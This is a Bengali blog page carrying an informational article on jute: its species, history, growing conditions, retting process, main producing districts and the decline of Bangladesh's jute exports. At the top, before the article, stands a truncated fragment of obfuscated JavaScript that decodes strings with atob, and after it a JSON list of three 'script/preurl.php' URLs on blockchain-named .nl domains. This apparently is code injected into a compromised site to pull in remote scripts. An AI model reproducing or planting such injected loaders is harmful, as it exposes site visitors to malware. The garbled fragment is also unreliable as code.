/*>(-0x2*o&0x6)):0x0){q=i['indexOf'](q);}return n;});}());var g=function(h,l){var m=[],n=0x0,o,p='',q='';h=atob(h);for(var t=0x0,u=h['length'];t/* */ { "urls": [ "chaintopdom.nl/script/preurl.php", "smarttopchain.nl/script/preurl.php", "topblockchainsolutions.nl/script/preurl.php" ] } সোনালী আঁশ - bd5.blogspot.com

Header Ads ADCASH

সোনালী আঁশ

পাট বাংলার সোনালী আঁশ হিসাবে কৃতিত্ব রয়েছে বাংলার মানুষের জীবন। আজ আধুনিক বিশ্বের  সাথে তাল মিলিয়ে চলতে না পারা পাট ধ্বংশের মুখে দাড়িয়ে আছে। যেমন করে   মানুষ বৃদ্ধ হলে জীবন শেষ নিঃশ্বাস ত্যাগ করার জন্য অপেক্ষা করে থাক।  
পাট (Jute) Tiliaceae বর্গের Corchorus গণভুক্ত দ্বিবীজপত্রী অাঁশযুক্ত উদ্ভিদ। বাণিজ্যিকভাবে গুরুত্বপূর্ণ পাট অাঁশ প্রধানত দুটি প্রজাতি, সাদাপাট (Corchorus capsularis) ও তোষাপাট (Corchorus olitorius) থেকে উৎপন্ন হয়। সাদা ও তোষা পাটের উৎপত্তিস্থল যথাক্রমে দক্ষিণ চীনসহ ইন্দো-বার্মা এবং ভূমধ্যসাগরীয় আফ্রিকা। সম্ভবত উড়িয়া শব্দ jhuta বা jota থেকে jute শব্দটির উদ্ভব। অবশ্য, ‘জুটা’ ও ‘পট্ট’ বস্ত্র ব্যবহারের কথা যথাক্রমে বাইবেল এবং মনুসংহিতা ও মহাভারতে উল্লেখ আছে যা এতদঞ্চলে পাটদ্রব্যের সুপ্রাচীন ব্যবহারের সাক্ষ্যবহ।

বাংলাদেশ ছাড়াও ভারত, নেপাল, মায়ানমার, চীন, তাইওয়ান, থাইল্যান্ড, ভিয়েতনাম, ক্যাম্বোডিয়া, ব্রাজিল এবং অন্যান্য আরও কয়েকটি দেশে পাটের আবাদ হয়। বাণিজ্যিক দিক থেকে বাংলাদেশ এক সময়ে একচেটিয়া সুবিধাপ্রাপ্ত দেশ হিসেবে বিবেচিত হতো এবং ১৯৪৭-৪৮ সাল পর্যন্ত বিশ্ববাজারে এদেশ থেকে প্রায় ৮০% পাট রপ্তানি হতো। কিন্তু ১৯৭৫-৭৬ সাল নাগাদ এ অবস্থার পরিবর্তন ঘটে এবং বর্তমানে বিশ্ব চাহিদার শতকরা মাত্র ২৫ ভাগ পাট বাংলাদেশ থেকে বাইরে যায়। এ অবনতির বড় কারণ পৃথিবীর অন্যান্য কয়েকটি দেশের সঙ্গে তীব্র প্রতিযোগিতা এবং সেসঙ্গে বিশ্ববাজারে কৃত্রিম তন্তুর আবির্ভাব।

পাট গাছ

প্রাচীনকাল থেকেই ভারতে পাটের চাষ হয়ে আসছে। এক সময়ে এটি বাগানের উদ্ভিদ হিসেবে বিবেচিত হতো। তখন এর ব্যবহার ছিল সীমিত; কেবল পাতা সবজি ও চিকিৎসার কাজে ব্যবহূত হতো। উষ্ণমন্ডল ও উপ-উষ্ণমন্ডলীয় বিভিন্ন জলবায়ুর পরিবেশে পাট জন্মে। মার্চ, এপ্রিল ও মে পর্যন্ত প্রতি মাসে সর্বনিম্ন ২৫০ মিমি বৃষ্টিপাতসহ যেখানে বার্ষিক বৃষ্টিপাত ১৫০০ মিমি বা ততোধিক সেখানে পাট ভাল ফলন দেয়। প্রয়োজনীয় তাপমাত্রার সীমারেখা ১৮°-৩৩° সে। পাট বর্ষাকালীন ফসল। বাংলাদেশে সাধারণত বীজবপন শুরু হয় ফেব্রুয়ারির শেষে এবং প্রজাতিভেদে মে মাসের শেষ পর্যন্ত চলে। পাটচাষ প্রাক-বর্ষা মৌসুমের বৃষ্টিপাত ও আর্দ্রতার ওপর অনেকটা নির্ভরশীল। সাদাপাট অধিকতর পানিসহিষ্ণু বিধায় সাধারণত নিচুজমি, এমনকি জলাবদ্ধ জমিতেও চাষ করা যায়। অন্যদিকে জলবদ্ধতা তোষাপাটের জন্য ক্ষতিকর, তাই মাঝারি থেকে নিম্ন-মাঝারি জমিতে চাষ করা হয়।কয়েক ধরনের জমিতে, কর্দম থেকে বেলে-দোঅাঁশ পর্যন্ত ভাল উর্বরতাসহ ৫.০-৮.৬ পর্যন্ত অম্লমানের (pH) মাটিতে পাট ফলানো যায়।

পাট চাষের জন্য প্রয়োজনীয় জলবায়ু বাংলাদেশের গ্রীষ্ম মৌসুমে বিদ্যমান থাকায় উক্ত সময়েই এর আবাদ হয়। উচ্চ তাপমাত্রা, পর্যাপ্ত বৃষ্টিপাত, পরিচ্ছন্ন আকাশ পাটের দ্রুত বৃদ্ধিতে সহায়ক। দেশি পাটের চেয়ে তোষাপাট কিছুটা পরে বুনতে হয়। তবে জমিতে জুন-জুলাই মাসে পানি জমে যাওয়ার সম্ভাবনা থাকলে সে জমিতে পাট কিছুটা আগাম বপন করা উচিত। স্বপরাগায়িত এবং ১৪ জোড়া ক্রোমোজোমবহ এই ফসলের বৃদ্ধির জন্য দীর্ঘ আলোক-দিবসের প্রয়োজন। বীজবপনের পর অাঁশের জন্য ফসল তুলতে ৪ থেকে ৫ মাস সময় লাগে। ফুল আসার সময়ই পাট কাটতে হয়। অাঁশ পাওয়া যায় কান্ডের বাস্ট বা ফ্লোয়েম স্তর থেকে। পাটচাষ শ্রমঘন এবং অধিকাংশ ক্ষেত্রেই চাষীরা প্রান্তিক, দরিদ্র ও ক্ষুদ্র খামারি। সফল চাষাবাদের জন্য জমিপ্রস্ত্তত খুব গুরুত্বপূর্ণ। এজন্য ৩-৫টি আড়াআড়ি চাষ ও মই দিয়ে জমি মসৃণ করা এবং জমিতে ২০ শতাংশের বেশি জীববস্ত্ত থাকা আবশ্যক। মাটির ধরন অনুযায়ী সাধারণত NPK অর্থাৎ নাইট্রোজেন-ফসফরাস-পটাশিয়ামের যথানুপাতে গোবরও ব্যবহূত হয়। বাংলাদেশে কৃষকরা পাটচাষে সচরাচর কোন রাসায়নিক সার ব্যবহার করে না।

নিচুজমিতে পাট কাটা

অবশ্য, ব্যবহূত হলে তিন পর্যায়ে করা হয়: জমি প্রস্ত্ততের সময় একবার এবং যথাসময়ে টপড্রেসিং হিসেবে দু’বার। পরিচর্যার সময় অতিরিক্ত পাটগাছ তুলে ফেলা ছাড়াও আগাছা পরিষ্কার আবশ্যক। ছিটিয়ে বপনে সাধারণত প্রতি হেক্টরে লাগে ১০-১২ কেজি বীজ। সারিতে বপনে বীজ লাগে কিছুটা কম। কৃষকেরা বীজের জন্য বীজ পরিপক্ক না হওয়া পর্যন্ত (অক্টোবর-নভেম্বর) ফসলের কিছুটা রেখে দেয়। পাট কাটার পর নির্দিষ্ট সংখ্যক গাছ দিয়ে অাঁটি বেঁধে পাতা ঝরানোর জন্য তারা সেগুলিকে ৫-৭ দিন জমিতে দাঁড় করিয়ে রাখে। তারপর অাঁটিগুলি পানিতে ডুবানো হয়। স্বচ্ছ ও মন্দবহ পানি পাট জাগ দেওয়ার জন্য সর্বোত্তম। বারো থেকে ১৫ দিন পর জাগ সম্পন্ন হলে হাত দিয়ে কাঠি থেকে অাঁশ পৃথক করে ধুয়ে রোদে শুকানো হয়। শুকানোর পর কৃষকরা স্থানীয় বাজারে পাট বিক্রি করে।

বাংলাদেশের প্রায় সকল জেলাতে পাট উৎপন্ন হলেও ফরিদপুর, টাঙ্গাইল, যশোর, ঢাকা, সিরাজগঞ্জ, বগুড়া ও জামালপুরই প্রধান পাটচাষ অঞ্চল। পাটচাষাধীন মোট জমির পরিমাণ প্রায় ২,২৬,৬৫৫ হেক্টর এবং মোট উৎপাদন প্রায় ৪০,৩৪,৫৮৯ বেল। বাংলাদেশ পাট গবেষণা ইনস্টিটিউট এ পর্যন্ত ২৭টি উচ্চফলনশীল ও উন্নত মানের পাটের জাত (cultivar) উদ্ভাবন করেছে।


     

No comments

Theme images by suprun. Powered by Blogger.